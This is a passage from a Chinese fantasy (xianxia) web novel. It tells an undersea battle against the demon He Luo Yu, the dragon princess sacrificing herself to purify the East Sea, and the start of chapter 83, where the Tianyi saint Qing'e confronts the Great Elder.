积玉赶忙掏出药来给柳行云止血的功夫,阿姮瞥一眼程净竹,偷偷嗅了嗅,好像霖娘这个情郎的血,也挺香的。 跟霖娘差不多。 阿姮喉咙动了动,程净竹忽然看她一眼,她一下转过脸去,扔了钉子,把手伸到气泡外面任由水流冲干净手上的血。 “何罗鱼,你生来奇异,世间难得,本也算得一方大妖,如今竟甘心给天衣人当狗?你须得知道,若非九仪娘娘重开天地,你和你的这些妖众根本无法存在!是九仪娘娘给了你们生命!而你们在做什么?反她的道么!”石柱上,海筹厉声说道。 “九仪娘娘……”何罗鱼活动了两下爪子,视线从那青龙背上转向那根粗壮的石柱,“是,这世间万物都尊她爱她,信奉她开天辟地重铸而成的道,就连多少妖魔也在乞求她的垂怜……她是当之无愧的天地之母。” 何罗鱼这副得天独厚的模样上很难看出有什么表情,他苍老的声音徐徐:“八方妖魔都知道自己的来处,知道自己是因为谁才会化形,不必你海筹将军刻意提醒,我们因九仪而生,可九仪的心里只有凡人,我们?我们不过是她开天辟地的意外罢了,做娘的管生不管养,她的道,从来不曾向我们敞开……碧瑛那个傻子,还以为她那三千年修为可以叩开天门吗?” 说着,他的目光转向青龙背上几人:“可对于九仪,对于上界而言,她的修行,毫无意义,如今世间的道,都不是妖的道。” 碧瑛…… 阿姮神情一凝:“你知道碧瑛?” 何罗鱼与她相视,明明做不出什么表情,但阿姮却觉得他似乎在笑,他审视她,说道:“我与她有过几分交情,她在岐山上殉了她那虚无的道,如今,已是四海皆知了,女娃娃,你的术法有点她的意思。” “交情?” 阿姮面无表情,眉毛一挑:“若真有你口中的交情,她在岐山受难,怎么不见你来救她一救?是听说那儿有惠山元君,有满山的玄门人么?那时候做得缩头乌龟,今日倒在这东海之中逞起威风。” “你这女娃娃真是火一样的脾性,”何罗鱼并不气恼,“你年纪小,这世上许多事你还不懂,我和碧瑛之间的交情足以让我去岐山救她一程,但我救她本是一件毫无意义的事,我早说过,她修三千年清气也修不来渡人成仙的精纯清气,她压抑本性,像一个人类一样去向善,结所谓善果,修得所谓宽仁之心,可到头来,却被一尊自私的神所杀。” 何罗鱼低低地笑,似乎惋惜:“凡人可成神,而妖永远是妖,上界诸神自诩为震慑妖魔维护苍生而存在,却无人指教妖为何生来低人一等?碧瑛她修清气注定是一条走不通的死路,即便她不死在岐山,也一定困死在她那虚无的道里。我虚长她几百岁,在她叩问自己的道之前,我早试过千遍,凡人即便不入玄门,不通修为亦可因其所谓的德,所谓的善,所谓的义而成神,但妖邪的德,善,义却毫无意义。” “女娃娃,这世上的人类,乃至上界诸神,从来只将我们当成披着一张貌似人皮的怪物,在九仪给我们新生命之前,我们是草木,是虫鱼,是世间一切蠢物,九仪给了我们新的生命,让我们意识到这世界之大,见识了诸般欢乐,诸般悲苦,是人类的欲望先填满我们的心胸,我们才成欲望的化身,可他们却总是意识不到这一点。九仪未必真的希望我们来到这世上,而今诸神都将我们当成了她留下的意外,我们是九仪塑造的新生命,是她遗留的烂摊子,是不被容忍的恶果。” 何罗鱼爪子向上,指了指自己的眼睛:“在九仪与诸神眼中,我们是不配求道的,这世间用以渡化的精纯清气,是我们永远也修不来的,女娃娃,迟早有一日你会明白到底什么是妖邪的宿命,妖邪与人类,与人类化成的神仙,永远走不到一条道上去。” 末了,他说:“我是看你生得与我一样怪,怪得看不出到底是个什么东西,才与你说这些。” 口吻如一个人间的白头老翁般温和,那个鸟脑袋看着似乎还有点和蔼可亲,如果他脑袋底下没有十个像蛟一样的身子的话。 “胡说!神仙可从未说过什么‘妖皆恶果’的混帐话!”霖娘一边抱着柳行云,一边破口大骂,“你这老怪物分明就是欺负九仪娘娘身归虚无,不能出言诛你!她到底有哪一句容不下你们的玉律写在上界天规之中!” “她的玉律何必要写在天规中呢?” 那何罗鱼一双漆黑竖瞳竟显露些微笑意:“只要在诸神的心胸之中,足矣。若上界真无偏见,那么岐山妖众的性命如何算?碧瑛三千年问道的结果如何算?一个惠山元君,难道还不曾撕破上界那些神仙的嘴脸?他们果真无欲吗?无私吗?从人成神,便不会犯错了吗?若说天衣人没有资格称神,那么人类,又哪来的资格占天为阙,睥睨众生?” 何罗鱼一句惠山元君,令霖娘忽然语塞。 纵然惠山元君已经付出了代价,可岐山妖众的性命回不来,碧瑛回不来,蛛女回不来,如今岐山之上的生机,是新生的生命,故去的,已经永远地故去了。 何罗鱼话锋一转:“再说龙族,龙族兴于东海,又分立四方,自诩神龙之身,上不向天帝称臣,下享四海供奉,可多少年了,四海龙族之争断过么?他东海龙王落得今日这步田地,难道不是他高傲自大,自食恶果么?若非他自己的缘故,东海何至于此?神从头至尾不过一个虚名,披在天衣人身上你们不许,披在人类身上,龙族身上,其实也没有多像样啊……” “住口!不许你这妖孽辱我父王!” 龙女喝道。 积玉亦满胸不忿,他眉头紧皱,欲反驳,欲激辨,却伴随何罗鱼苍老缓和的声音顺着他的话往下去想,他想理出一个头绪,却惊人地发现自己下意识竟然会觉得他所言不无道理……积玉吃了一惊,不,怎么可能有道理! 此时,一截焦枝与一根银尾法绳几乎同时扫向那何罗鱼,红云缠裹金电与那凛冽的银光互相朗照,锋锐之意直逼何罗鱼面部。 何罗鱼撤身往后一避。 “不要去细想他的话。” 程净竹冷如清霜的声音落在积玉与霖娘耳侧,令他们不由自主地浑身一个激灵,顿时从那团乱麻似的思绪里抽出来。 柳行云紧紧抓着霖娘的手腕,终于攒够了点力气,说道:“何罗鱼的鸟相……发声有迷惑之效,会……会令人不由自主地相信他。” 何罗鱼听到柳行云的声音,转过脸去看他:“小小凡人,我一直以为你早已成为我的信众,原来你从未信我……你是如何做到的?” “你可惑我一时,却难移我本心之志,我本心不信你,那么你所说的话,于我不过空中楼阁,空泛无边,”柳行云喘息着,冷眼看他,“思绪千回百转怎样都到不了头,那么迷障自然会破。” “哦,是你回乡救人的意志啊。” 何罗鱼颇为感慨:“做医者的,一颗悬壶济世的心救人,竟也能救己……” 他似乎有些不适,头颅竟然有一瞬从鸟相化为鱼相,又立刻转为鸟相,那双竖瞳异常漆黑,苍老的声音也发紧:“胆大包天的人类,你可知我本是因你与碧瑛之间的那点缘分才不杀你,你却给我用蛇胆?我这一生,因为碧瑛,从未吞食过任何蛇类,如今这道我给自己设下的戒却让你破了……” 阿姮有些好奇地看了过去。 他与碧瑛很显然交情匪浅,而且他对碧瑛还很有可能抱有一些说不清道不明的东西,这远比方才他啰哩啰嗦的那一大堆要吸引人多了,方才那些阿姮嫌烦根本没细听,她根本就不想与他辩,自然没有顺他的话入他的情绪,再被他的语境蛊惑。 阿姮强忍住对他与碧瑛之间那点事的好奇,抬起手来,万木春落回她手中,此时,何罗鱼才算真正看清方才那根黑乎乎的东西的全貌,他鸟喙一张,发出诧异之声:“如此神物,竟然在你手里……你到底是谁?” ……这话阿姮听得耳朵真要起茧子了。 阿姮挥了下万木春,回忆起了什么。 嘴角勾起了一丝玩味的笑:“我是九仪的表妹,你可以叫我十仪——娘娘!” 话落,阿姮双目骤冷,身化红雾,顷刻在何罗鱼几步开外凝出身形,焦枝破水一划,金芒如缕劈头盖脸砸向何罗鱼。 何罗鱼踏水后撤,金电灼烧他脑袋一侧几寸鸟毛,他那双竖瞳放大,如缺月瞬息圆满,他抬起爪子,尖锐的指甲划过深邃的黑水,水波分开裂隙,一杆几乎比他身形还要高的长戟凭空乍现,浑身漆黑似铁,估摸着得有个万斤。 戟尖如刃,破水一刺,浊浪翻腾,阿姮翻身一避,万木春擦戟尖而过,尖锐刺耳的摩擦声一阵起伏,此时,程净竹迅速飞身掠至何罗鱼身后,银尾法绳缠住戟尖,猛力一拽,何罗鱼那十个身子默契非常,同时一转,戟锋顺势一横,所过之处,海水轰然,程净竹单手结印,金光化障,荡开水流,向上一跃,落于戟锋上。 海筹的光越来越亮,哪怕黑水无垠,亦照得这海底一片上下通明,这对东海海兵来说,正是将军赐予他们的号角,他们越发无畏,拖着残躯,发疯似的用命去拼。 就连那些方才弄塌了祭台的凡人们,也抓着那些本是用来修建祭台的工具,一边被各式各样的妖脑袋吓得尖叫,一边握着手里的东西猛砸。 凡人哪里敌得过妖怪呢?妖怪不过动动手指,包裹着凡人的气泡便会顷刻碎裂,他们会被这黑水立即毒死,鲶鱼精冷笑着抛出掌中的黑气,他要弄碎这些低贱凡人身上的气泡,吃他们的肉,喝他们的血,甚至享用他们的魂魄! 黑气触碰凡人们身上的气泡的刹那,鲶鱼精贪婪的目光锁定他们,身子一抬,一张血盆大口张开,却猛然僵住了。 炽盛的金光短暂迷了他的眼,他那双眼睛有一瞬呆滞,整个身躯也不由自主地定住,视线恢复,只见金剑如雨,击散黑气。 鲶鱼精抬起脑袋,那青龙背上,眉心戒痕如殷的青年神情肃正,腰间药囊被金光一斩,其中犹如扬尘一般的金色药末洒下,他双手结印,金粉药尘凝成数道符咒,瞬间打入一众凡人身上的气泡中,气泡顿时变得坚固许多,流水击之,竟有金石之音。 凡人们反应过来,为首的那个中年人看向那鲶鱼精,他大声喊道:“大家听我说!咱们好些都是打渔采珠为生的,再是妖怪又如何?他们也免不了身为虫鱼的本性,都说万物相生相克,别的咱们不敢说,难道这些玩意的习性,咱们还不清楚吗!” 说着,那中年男人猛地往前,随气泡漂浮到那鲶鱼精面前去,那鲶鱼精还张着一张大口,众凡人面露惊恐,却见那中年男人一下靠得更近,可那鲶鱼精竟然一动也不动! 中年男人身上的气泡附着的金光耀眼极了,他在那光芒中回过头,对众人道:“你们看!鲶鱼怕光,就算成了妖怪,他也依然害怕强光入目!所以,咱们根本没什么好怕的!” 鲶鱼精被中年男人一榔头砸烂脑袋,在茫然中毙命。 凡人们瞪起眼睛,恍然大悟。 ……水中的鱼,可不只鲶鱼惧怕强光啊! 妖怪天生有凡人不能比肩之能又如何?他们也并非不可战胜啊! 凡人们的血肉之躯里顿时生出无限的勇气,众人目光如炬,一股脑儿地冲入妖怪堆里,像一粒粒粲然散开的浮光。 青龙游弋于海水之中,龙吟潇潇,震得底下一丛又一丛的妖怪耳膜欲裂,头皮发麻,针对海兵裹起来的包围圈趁此被海兵们咬出条口子,积玉结印而成的千万金剑成一剑阵,他紧咬牙关手指一绕,底下环绕海兵们的剑阵猛然一转,剑意奔涌,穿水破花,打散众妖,此时,有妖怪大喊道:“法器!快用法器!” 数个摄魂杵飞悬起来,携带紫芒的万千锁链在海水中飞速穿梭,海水依旧漆黑,却充斥着浓重的血腥味,积玉剑阵破碎,底下海兵被刺伤刺死无计,积玉立即喊道:“小师叔!” 程净竹与阿姮正与那何罗鱼缠斗,程净竹闻此一声,他侧身避开何罗鱼横劈而来的戟锋,向下一望,袖中飞出无数白符,他指节稍稍用力,被阿姮咬过的那道伤口涌出血来,他双手结印,以血化符,数道金光咒印打入白符,万千白符携金芒而下,结成无数金光气泡,包裹住海兵们的身躯。 没有黑水持续腐蚀海兵们的身躯,他们骤然少了许多痛苦,此时军心大振,更加勇猛,毫不畏惧扑来的群妖,齐齐迎了上去,海底一片厮杀声震天。 程净竹猛地吐了口血,此时一道锋锐的气流迎面飞来,有什么轻轻触碰他的后背,猛地将他推开数丈,那剧烈的气流穿水而过,一片海崖轰然倾倒,他回过头,只见一缕红雾始终萦绕在他身后,再转过来,他抬眸,那红衣少女在一片她搅动起来的红云烈焰中,短暂地回头看了他一眼。 阿姮望见他那张越发苍白的脸,转过头咬着牙握紧万木春朝何罗鱼重劈几道,剑意扰得海水沸腾,灼烫非常。 何罗鱼被海水烫得浑身不适,躲闪不及,其中一个身子被削去一段尾巴,血流如注,他那双眼睛越发浑圆,只见那红衣少女悬在那片红云烈焰中,冷着一张脸问他:“喂,你说,你要是被炖熟了,到底算鸟汤,还是鱼汤啊?” 何罗鱼漆黑的瞳仁几乎涨满整个眼球,那被削断了尾巴尖儿的身子竟然顷刻长全,他的头越来越疼,那是蛇胆种下的寒毒起了作用,他越来越没有理智,妖性暴涨,不再从容,轻易便被阿姮挑动怒火,手中长戟挥出无边威势,戟锋势不可挡地扫向阿姮,阿姮枝尖用力划开数道气流,银尾法绳掠来缠住戟锋,猛力拉开寸许距离,长戟的锋芒擦阿姮脸侧而过,阿姮化成红雾,飞扑向何罗鱼。 何罗鱼长戟一转,戟杆绕身一扫,阿姮顿时无法近身,被逼退数步,此时,霖娘见此情形,她立即将柳行云放到龙背上,飞身掠去阿姮身边,积玉的剑阵拔地而起,环绕何罗鱼,剑光如雨,金石之声不断。 阿姮与程净竹、霖娘三人借剑阵掩护逼近何罗鱼的刹那,剑阵之中何罗鱼的戟援猛然勾住金剑真身,剑阵骤破,积玉大吐一口鲜血,阿姮三人被强烈的气流震出去,积玉立即以金剑相托,令三人稳住身形。 发狂的何罗鱼章法虽然大乱,可他毕竟是有三千多年道行的大妖,身上又有天衣人借给他的火种力量,他发起狂来,几乎要颠山倒海,四人与他鏖战多时,他的十个身子残了又长,反倒是阿姮他们越发狼狈。 何罗鱼的长戟使得炉火纯青,四人始终未能近他身,阿姮的脸颊,身上不知多少条血口子,隔着气泡,她嗅到这海水中无比浓郁的血腥气。 幸好这些血气混合在一起,芳香都被腥臭给掩盖了,她虽有嗜血的本能,却还能因为这种浓重的腥臭维持自己的神志。 积玉持金剑飞身上去,剑锋骤然与那何罗鱼的长戟一撞,巨大的力道透过剑身震透积玉浑身骨髓,他一下被震飞出去,正是此时,银尾法绳缠住他的腰身将他拉回程净竹身侧,阿姮与霖娘回头,只见积玉满口是血,握剑的手都在发抖,但他似乎并无大碍,只因他胸口有个东西在闪着淡光。 “幸好有公主的龙鳞……” 积玉吐了口血沫,说道。 海筹在石柱上燃烧生命为海兵与凡人照亮海底,而龙女则领着海兵们与群妖厮杀,龙吟声声,震彻东海。 程净竹结出两道金印,落到阿姮与霖娘身上,对积玉道:“起诛妖伏鬼阵!” 积玉立即会意,两人同时双手结印,于水中化出一个金光大阵,那阵法飞向上空,徐徐转动起来。 金光所照,万妖惊惧。 然而不过片刻,无数闪烁紫芒的法器飞悬起来,为群妖挡去不少金光,积玉匆匆一眼,脸色大变:“小师叔,他们竟然有这么多天衣人的法器!有这些法器在,诛妖伏鬼阵只怕没用了!” 那些法器,有的记载在上清紫霄宫的旧典中,有的积玉根本闻所未闻,毕竟,天衣人在法器与法阵上的天赋在那些旧籍中不过只向众生展示了冰山一角。 阿姮一下看向那何罗鱼,红云烈焰环绕着他,他周遭的海水无比滚烫,烫得他鸟相与鱼相不断变换,阿姮试着操控炁,颈项间幽蓝的宝珠亮了亮,阿姮感觉到海水之中的炁流动缓慢,根本比不上流水分毫,她拧起眉头,扬起手来,万木春瞬息击碎气泡,顿时无尽的黑水向她涌来。 黑水裹覆周身之际,阿姮望了一眼不远处小神仙朝她看来的那双眼睛,她没有心思想很多,她是很讨厌黑水,可此刻她什么都顾不了了,她目光如炬,满脑子只有一个想法——老东西必死。 阿姮身化红雾破水而去,何罗鱼的戟援精准袭来,红雾却柔和地拂过戟援边缘,陡然转了个方向,往下掠去。 发了狂的何罗鱼无法思考,长戟本能往下追红雾而去,红雾却忽然散开,何罗鱼威势无边的长戟僵了一瞬,似乎不知该往哪边,但仅仅一息,他一只爪子猛然握向那缕逼近他身子的雾气,正是此时,程净竹双手结印,悬于上空的金光法阵骤然收紧,向下环住何罗鱼双臂,金光法阵在他周身转动,他爪子一滞,他盯着那缕几乎要被他指甲尖勾住的红雾徐徐散去,落到不远处化成那少女模样。 “霖娘捆他!” 阿姮大喊。 霖娘一个激灵,扬起菱花小镜,化水为练,长长的水练顷刻将何罗鱼的那只爪子跟他的十个身子绑在了一起。 程净竹悬在半空,双手维持结印的动作,独自支撑金光法阵,银尾法绳随他意动,缠住何罗鱼的颈项,银鳞寸寸展开,嵌入何罗鱼的皮肉,珠饰碰撞出的清音令何罗鱼耳心生疼,瞳孔空白一瞬,金剑幻化数柄,齐齐扎入他那被水练绑住的手臂上,扎穿扎透,嵌入他如蛟一般的身子,霖娘咬牙用尽全力,水练收紧,何罗鱼那只爪子刺入他的一个身子里。 他瞳孔紧缩,发出鸟一般的尖啸,海水呼啸翻腾。 万木春被阿姮握在手中,枝尖刺入何罗鱼的后心,腥臭的鲜血汩汩的涌,阿姮在他身后说道:“要不是你实在长得太丑,我也不是不可以承认我们的确有些相像的这件事……我五行为火,在水里十分不自在,却又偏偏是这黑水养育我多年,而你呢,天生两个本相,一水一火,我太知道这种天生矛盾的感觉了。” 阿姮视线下落,被何罗鱼自己亲手截断的那个身子,没有再长回来。 果然,他才是自己真正的克星。 这种断身之痛,令何罗鱼恢复了几分神智,他鸟喙一张,长长地喘息,却竟然笑了:“女娃娃,你我同病相怜,又何必你死我活呢?你猜出我的弱点,那么你的弱点不也暴露了么?” 几乎是何罗鱼话音方落,程净竹立即反应过来,他神情一变:“阿姮!让开!” 何罗鱼的后心涌出黑气,数枚法器从他的血肉里飞出来,幽冷的紫芒划过阿姮的双目,她抽出万木春,枝尖猛劈,一枚法器碎裂散落,黑气却猛然侵入阿姮的眉心,何罗鱼转过头,盯住她:“女娃娃,快,用你手中的神物,刺向你的心口。” 他的声音落到阿姮耳边,竟然幻化为她自己的声音,在她的脑海里回荡,她缓缓抬起万木春,霖娘大惊失色:“阿姮!” 何罗鱼还要徐徐引诱,程净竹面色冰寒,用力一挽法绳,法绳顿时在何罗鱼的颈间收得更紧,展开的银鳞更用力地刺入他的血肉,何罗鱼鸟喙一颤,一时发不出任何声音,但没有关系,一声足矣,他紧紧盯着那红衣少女,她会听话的。 阿姮那双暗红的眼睛一眨,何罗鱼神情猛地一僵,怎么会……他不敢置信,却见她微微一笑,下一瞬,万木春的枝尖穿他胸口而过,她的声音落来他耳边:“还以为什么呢,就这个啊?我以前天天玩儿。” 不就是火种分化出的一团东西么? 阿姮之前还将火种揣在胸口里玩儿过。 何罗鱼哪里知道这些,他根本不清楚阿姮与天衣人之间的渊源,着实被震惊得吐不出一个字,他胸口明明有了个血洞,但身体里的黑气却维持着他的生命,他根本死不了,所以也并不恐惧,金光法阵束住他的双臂,银尾法绳扼住他的颈,他的一只爪子被水练牢牢地捆住,他却忽然大笑,另一只爪子握紧长戟,猛然用力,周身罡风涌动,搅得海水上下翻腾。 阿姮勉强稳住身形,红云烈焰在海底炸开一片连绵的霞光,流水如矢,寸寸刮过众人的脸颊,她用足了力气,奋力将那何罗鱼困在这片霞光之中。 程净竹一面维持金光法阵,一面攥紧了银尾法绳,积玉则不断用金剑刺着何罗鱼的身子,霖娘自始至终都在用水练困住何罗鱼的另一只爪子,不敢松懈一分。 底下,传来碎裂之声。 程净竹目光下视,覆盖在海兵们身上的气泡开始撕裂,积玉见状,不由喉咙发紧:“小师叔!怎么办?我的……我的药箓也快坚持不住了!” 若他覆盖在那些凡人身上的气泡上的药箓失效,气泡便会立即碎裂,所有凡人会立即毙命! 而那些海兵…… 程净竹看向那些海兵,他们身上的气泡已经在逐颗破碎,他绷紧下颌,腾出一只手来,结印,落印,不断修补海兵身上的气泡。 他的脸色很快变得惨白。 “不行!只要黑水仍在,我们坚持不了多久的!” 积玉努力修补着凡人们身上的气泡,他肩背上的伤口血流如注,底下群妖们贪婪地嗅闻着他血液中的清气。 “可这里不是黑水村,并没有璧髓……” 霖娘没有说下去,除了璧髓,到底还有什么可以濯尽这东海中的黑水呢?这海底因天衣人而聚集的万妖不会被黑水所伤,可那些凡人,那些东海海兵,他们会因为这里的疫毒而死,死一个何罗鱼毫无意义,黑水依旧会吞噬那些生命,没有人可以活着离开这里。 石柱上,海筹的光芒散尽了。 海底顿时幽暗下来,青龙在厮杀中回首,海筹半透明的身躯破碎,神魂俱灭了,青龙发出声声哀吟,她身后,海兵们身上的气泡一颗颗破碎,一个又一个身躯倒下去,被群妖疯狂地蚕食。 “公主!快逃啊!” 一片惨声哀鸣中,有海兵嘶声喊叫:“您是东海最后的希望,快跑!离开这儿!” “我等为公主尽忠至死乃无上荣耀,万望公主珍重!” “万望公主珍重!” 哪怕气泡碎裂,黑水重新将他们包裹,身上无数溃烂的伤口被撕扯,他们竟无一人后退,他们肩扛着东海的荣耀,拖着残肢,飞扑向前,将他们的公主围护在重重人墙之中,将她越推越远,推出战场。 青龙龙吟更哀。 “你们所做的一切毫无意义,东海本就是天衣人的神墓,龙族是后来才占据此地……”何罗鱼每说一个字,都忍受着银尾法绳每一寸银鳞碾碎血肉的疼,“这些凡人,这些海兵全都会死,何必给他们希望呢?这样只会让他们死得更痛苦,你们几个非要担上他们这些人的性命当责任,也只会让你们更痛苦罢了。” “闭嘴!”阿姮几乎立即被他这番话刺了一下,她死盯着何罗鱼,胸中竟涌起小山死时她面对清峨一腔难发的愤怒,她抄起万木春,枝尖不断在何罗鱼的鸟脑袋上戳来戳去,戳得他满脑袋血洞,鸟毛乱飞。 程净竹望着阿姮的背影,他垂眸下视,东海海兵们身上气泡损毁得越来越多,对上群妖,他们毫不畏惧地走上一条必死的路,凡人们也舍了忧恐,早做好决定,此身一命,朝夕而已,用来鱼死网破也不是不行。 他闭眼,想无视底下凡人与海兵一步一步踏出来的死路。 “就你有嘴!看我不拔了你的鸟舌头!” 阿姮含着冷笑的声音落到程净竹耳畔,他睫毛一动,还没反应过来,眼睛便已经下意识地睁开,他看见她的背影,看见她在那片艳丽的烈焰中用万木春的枝尖猛撬何罗鱼的鸟嘴,何罗鱼活了三千多年,今日也算是遇着一番酷刑了,纵然此身不死,也着实被阿姮折腾得够呛。 她终究还是在责怪自己。 程净竹心中想道。 他原想守住一颗足够冷漠的心,然而听见她一道声音,他便不由自主睁开眼,见她之际,也终究再见这众生疾苦。 程净竹惨白的脸上没有什么表情,他手指一动,何罗鱼身上的金光法阵骤然停滞,积玉顿时感觉到了什么,转过脸只见程净竹指尖结出新的金印,那金印才成一半,积玉便立即变了脸色:“小师叔……” “什么是璧髓?” 此时,青龙的潇潇龙吟掩盖了积玉的声音,龙女几乎哭腔。 霖娘望向被海兵们推出战场的青龙,下意识答:“是神骨,上界神仙的神骨!” 高傲的龙族除蟠桃盛会之外几乎不怎么与上界来往,龙女并不知道神仙的骨髓竟然有这样的作用,她青色的龙首微垂:“原来……是这样啊。” 程净竹的金印只差最后一笔,积玉顾不得何罗鱼是否有挣脱禁锢的风险,朝程净竹飞扑过去,正是此时,龙吟声声更重,几乎覆盖整个东海。 程净竹指尖蓦地一顿。 何罗鱼趁法阵停滞,周身黑气涌动,顿时破开禁锢,阿姮手握万木春一下扎穿他的鸟首,翻掌红云爆裂,金电如织,何罗鱼被打偏了身躯,重重跌入海底,阿姮双足踩在何罗鱼的脑袋上,此时,海水中降下一片一片青色的光,阿姮一顿,抬起眼帘,发现那闪着青色光芒的东西,竟然与她收在怀中的龙鳞一模一样。 阿姮满眼惊谔。 东海降下无数青色的鳞光,纷纷扬扬如一场海里的雨,那条青龙不知何时竟然失踪了,霖娘看到原本待在龙背上的柳行云被气泡包裹着,缓缓落到地面上,滔滔水声中,龙女的低语响起: “龙族不像上界诸神,得道铸身,是为神骨,龙族最宝贵的便是这颗龙心,这身龙鳞,我生在东海,多年受父王庇佑,受海兵拱卫,受万千东海水族供养,受东海凡人子民香火,若我的龙心,我的龙鳞可以有上界诸神一副神骨一般的作用,今日舍去这一切又有何妨?只盼我东海疫毒尽散,天朗水清!” “何罗鱼,我龙族的确对不起东海,今日我便摘心剥鳞来还,而你这宵小,永远也扣不开你心中的天门,你只配做天衣人的棋子,世间万千大道,无一向你。” 龙女声音冷冽,傲然响彻整片海域。 何罗鱼一双鸟目几乎要被这场龙鳞雨刺伤,他鸟喙中发出沉重的呼吸声,“世间万千大道,无一向你”反复贯穿他的脑海,他鸟目如血,胸中蛇毒发作,癫狂更甚。 不,人的道,不是他的道。 只要灭去凡人成就的诸天神佛,天上地下,世间唯一的道,便在眼前! 我道向我,我道终要向我! 龙鳞如雨一簇一簇地划落深海。 海底深处,另一道嘶哑的龙吟传来。 青龙的龙吟与之相合,哀哀数声,不复耳闻。 “公主……” 残存的海兵们反应过来,望着漫天青色的鳞光,恸声大唤:“公主!” 凡人们也落下泪来。 霖娘脸色煞白,她呆呆地凝望划过眼前的光影,眼中浸出泪来:“我……我不应该告诉她的……” 龙族与上界的神并不一样。 上界诸神的神骨有用,她的,却并不一定有用。 可龙女,是那样果决地用自己的性命去试了。 阿姮抬手,接来一片龙鳞,都说龙鳞是世间至坚之物,可她手心里这片青色的龙鳞却很快融化了,融化成青色的光,飞出她的指尖。 她感受着海底缓慢流动的炁,其中再也没有龙女的气息。 龙女不存在了。 她的神魂彻底粉碎,这个世间再也不会有她了,如璇红一般,她永远地化成这世间的清风雨雪了。 青色的碎光织成大片跳跃的影,在阿姮眼中划过,所过之处,黑水尽清,波光莹澈。 第83章 第83章 这世间,他心中唯一重要的,…… 数声龙吟烈如箫管, 几乎震彻天地,龙吟倏止,东海之上雷云积重,骤降如倾暴雨, 如天河之水倒悬入海, 暝晦之间, 被卷入无数漩涡之中。 暴雨冲刷着青峨几乎沾满鲜血的裙摆,忽然,一道沉重的质问破雨穿风, 好似霹雳一声, 惊天骇地:“圣女, 你为何在此!” 三两滴雨珠压在青峨的眼睫, 闻此一声,她轻抬眼帘, 雨珠融入她血红的眼睑, 缓缓转过身,手背玉片的纹路犹如碧波冰冷的涟漪, 她望向那片狂风骤雨间朦胧的山岳, 宽阔大道上, 一串铃音急促尖锐, 雨雾缓缓, 一行人若隐若现,那白头老翁端坐轿辇,由二十八名重瞳混血抬着, 轿杆前后分缀数枚赤金铃。 “大长老好快活啊,有我父王的法宝‘一日还’在手,不御风, 也能在铃音响动之间日行千里……”青峨惨白的面容经雨水点缀,更有种单薄如纸的脆弱,她尚有些稚嫩的声音似乎带着些抱怨,“可怜我,从东炎与乌鹊的战场走到这东海来……实在苦累。” 剧烈的风雨之中,那一行人很快来到海边,大长老没有双目,却听到海面上那漩涡吞噬一切的声音,他那张枯树皮似的脸皮紧绷得像要裂开,那副神情阴沉极了,汹涌的海浪仿佛盈满他的胸腔,他忽然扶着拐杖,猛地一借力,一双残废的腿在轿辇上屈膝循着青峨的方向一跪,轿辇因此而动,抬轿的天衣混血们仍以肩撑着轿杆,前后数枚赤金铃在风雨中岿然不动。 “神王怜我残废之身,故赐‘一日还’,我觍颜而受,是因为光复天衣的大业,因为我不敢辜负神王的相托!”大长老满胸怒涛,抬起眼皮,空洞的眼眶里什么也没有,“圣女若要‘一日还’,身为卑下,必双手奉上,绝无二话!可卑下今日要问圣女,神王谕令您以火种之力引诱天下妖魔成为您的信徒,您如今本该在东炎与乌鹊的战场上,您应该将那战火继续烧到其他诸国去……可您,为何千里迢迢来到东海?” “何必一定要我在呢?那些妖魔蠢物忠实无比,他们一切的恶欲都随我摆弄,即便我不在,东炎与乌鹊的战火也已经烧遍人间,他们手中有我天衣法器在,那些天兵天将,各路神仙所降下的威压便也不能轻易将他们像蝼蚁一样碾死,即便是蝼蚁嘛……也多得是,那些神仙是不可能很快将他们除个干净的,反倒还要被他们缠住手脚……” 人间战场之中的妖魔借天衣法器而与天兵天将你死我活,而在战场之外,更有青峨引诱的无数妖魔借天衣人之势四处作乱,他们并不与神仙直来直去地斗,而是害人,用他们胸中的恶欲无休止地残害凡人,如此,便也将那些下界拯救凡人苦难的神仙分散开来。 “父王的谕令,我半分也没有违背,”青峨瘦削的手指勾开耳边一缕湿漉漉的发,“我将这世间搅得一团乱,用凡人的苦难缠住那些神仙的手脚,蒙蔽他们的眼睛……我却实在好奇得紧,在我招引诸天神佛所有的注意之时,大长老又在这东海做些什么呢?” “圣女,我们都有自己的责任!” 大长老神情沉痛:“你知不知道你做了什么……” 青峨面上似有笑意,天边雷声爆裂,急促的雨滴重重刮过她的脸颊与鬓发,冷冽的电光一闪,她脸上顷刻毫无表情,没有血色的唇开合:“我知道啊,我一直都知道。” “我知道,我是父王第三百零二个孩子。” 青峨转过脸,迎向那波涛无限的海面:“十二岁时,我与三百个哥哥姐姐一起被送来了这里,他们是因为在父王赐予的诸多机会中均未能比得过大哥哥,所以来到这里,而我一出生便神窍不全,身体孱弱,是个连一次机会都不配得到的残次品……我记得那日,父王来送我们最后一程,我求他给我机会,我在那个小小洞口里隔着水网望他,他却吝啬看我一眼……我亲眼看着我那三百个哥哥姐姐被法阵剜去神窍,剥去神识,而我呢?我却因神窍不全,孱弱至极,连法阵都不屑针对我……反正不必它们动手,我本就是个早夭的命数。” “一年,只一年我便撑不住神窍不全的枯竭之兆,严格意义上来说,我甚至比我那些哥哥姐姐们先死,他们都是父王的血脉,继承了天衣神族最优越的血统,神窍离体算什么?那对他们来说根本不是死亡,真正的死亡,是那千万重法阵日复一日地运作着,终有一日,彻底毁灭他们的神魂……作为成就天衣圣子的祭品,我与那些哥哥姐姐们,本该永远烂在琢神冢里,可谁能料到呢?这世间出了一个九仪,她从我父王手中夺走了这个天下,令我父王肉身损毁,将天衣神族全部镇压于赤戎之下。” “父王他有先见之明,在东海神墓留下一片残识,”青峨嗓音徐徐,几乎无波,“有一日,那残识唤醒一对天衣兄弟,那二人因看守神墓一直隐匿于东海幽隙之下,故而一直未被九仪与诸神察觉,他兄弟二人遵从父王之命入琢神冢,发现其中三百神王血脉早已尘归尘,土归土,唯有我是因神窍不全,自竭而死,因而未被法阵毁去全部的元神,那三百白骨森然而立,唯我血肉化尽,一张皮却还未来得及腐朽,父王要他兄弟二人选择,到底谁献出自己的神窍,来补足我的心脉……” 大长老握着拐杖的手蓦地一紧。 “最终,是那哥哥自绝,被弟弟埋在琢神冢外。” 青峨再转过脸来,循着大长老所在的方向:“那副紫目神窍被放入我的胸腔,重新补足了我的神窍,令我死而复生。” 她摸了摸自己的脸:“那副神窍虽能令我复生,却始终与我血脉不融,我这副皮囊里长不出新的血肉,我永远都只能是这副长不大的模样……” “圣女,您明知神王对您寄予厚望!” 